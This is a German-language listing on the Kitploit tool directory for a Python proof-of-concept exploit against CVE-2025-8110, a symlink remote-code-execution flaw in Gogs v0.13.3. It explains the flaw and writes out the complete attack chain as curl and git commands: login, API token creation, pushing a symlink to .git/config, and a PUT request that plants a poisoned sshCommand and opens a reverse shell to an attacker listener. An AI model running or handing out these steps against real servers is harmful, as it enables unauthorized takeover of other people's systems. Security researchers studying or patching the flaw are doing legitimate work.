Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-8110-PoC — One-Shot-Exploit für Gogs-Symlink-RCE (CVE-2025-8110), der über eine einzelne PUT-Anfrage an UpdateRepoFile eine Reverse-Shell auslöst. | Kitploit
Tools/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

One-Shot-Exploit für Gogs-Symlink-RCE (CVE-2025-8110), der über eine einzelne PUT-Anfrage an UpdateRepoFile eine Reverse-Shell auslöst.

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-8110 PoC

Python-Proof-of-Concept-Skript für CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile Symlink RCE. Single-Shot: Die bösartige PUT-Anfrage selbst löst git fetch → sshCommand → Reverse Shell aus.

⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Die Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.

Details

  • PoC für CVE-2025-8110
  • Betroffene Version: Gogs v0.13.3
  • Gepatchte Version: Gogs v0.13.4
  • Referenz: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

Angreifbares Verhalten

Der UpdateRepoFile-Handler in internal/db/repo_editor.go ruft auf, um Dateiinhalte zu schreiben. Dieser Aufruf folgt Symlinks, ohne diese zu überprüfen. In Kombination mit der Tatsache, dass frühere Symlink-Commits in navigieren, kann ein Angreifer:

os.WriteFile
.git/
  1. Einen Symlink x → .git/config in das bare Repository pushen
  2. PUT /api/v1/repos/{owner}/{repo}/contents/x mit einer bösartigen .git/config aufrufen, die core.sshCommand auf einen Reverse-Shell-Befehl setzt
  3. Dieselbe PUT-Anfrage schreibt die Konfiguration und löst git fetch origin aus (über CreateOrUpdateRepoFile → UpdateLocalCopyBranch), was die modifizierte Konfiguration liest und sshCommand ausführt — und so in einem Schritt eine Reverse Shell startet.

Dateien

  • poc.py: Fragt nach Ziel, Benutzername, Passwort, LHOST und LPORT; meldet sich an, erstellt ein API-Token, erstellt ein Repository, pusht einen Symlink und überschreibt .git/config über die API — die einzelne PUT-Anfrage selbst löst die Reverse Shell aus.

Verwendung

Ausführen:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

Argumente

ArgumentErforderlichBeschreibung
--target / -tJaGogs-Zielhostname oder URL
--usernameJaVorhandener Gogs-Benutzername
--passwordJaVorhandenes Gogs-Passwort
--lhostJaListener-IP für Reverse Shell
--lportJaListener-Port

Funktionsweise

  1. Anmeldung — meldet sich mit den angegebenen Anmeldedaten in der Gogs-Weboberfläche an
  2. Token — erstellt ein persönliches API-Token über /user/settings/applications
  3. Repo — erstellt ein neues leeres Repository über die Gogs-API
  4. Symlink pushen — klont das Repository, erstellt einen Symlink x → .git/config, committed und pusht ihn
  5. Überschreiben & Auslösen (Single Shot) — sendet PUT /api/v1/repos/{owner}/{repo}/contents/x mit einer bösartigen Git-Konfiguration, die core.sshCommand und eine SSH-Remote-URL enthält. Gogs' CreateOrUpdateRepoFile ruft intern UpdateLocalCopyBranch → git fetch origin auf, das die vergiftete Konfiguration liest und sshCommand ausführt — und damit in einer Anfrage eine Reverse Shell startet.

Äquivalentes curl

Anmeldung & CSRF abrufen

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

API-Token erstellen

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

Repository erstellen

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

Symlink pushen

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

Überschreiben & Auslösen (Single PUT – Timeout erwarten, Shell kommt)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

Die PUT-Anfrage selbst löst git fetch origin aus, das die vergiftete .git/config liest und die Reverse Shell ausführt. Es ist keine zweite Anfrage erforderlich.

Warum --max-time 10? Der Server kann für ~10s hängen bleiben, während Git den Schreibvorgang verarbeitet und den Fetch auslöst. Durch die Verwendung von --max-time 10 wird sichergestellt, dass curl die Verbindung lange genug offen hält, damit sich die Shell zurückverbinden kann. Ohne diese Option kann die Verbindung abbrechen, bevor die Shell gestartet wird.

Tool herunterladen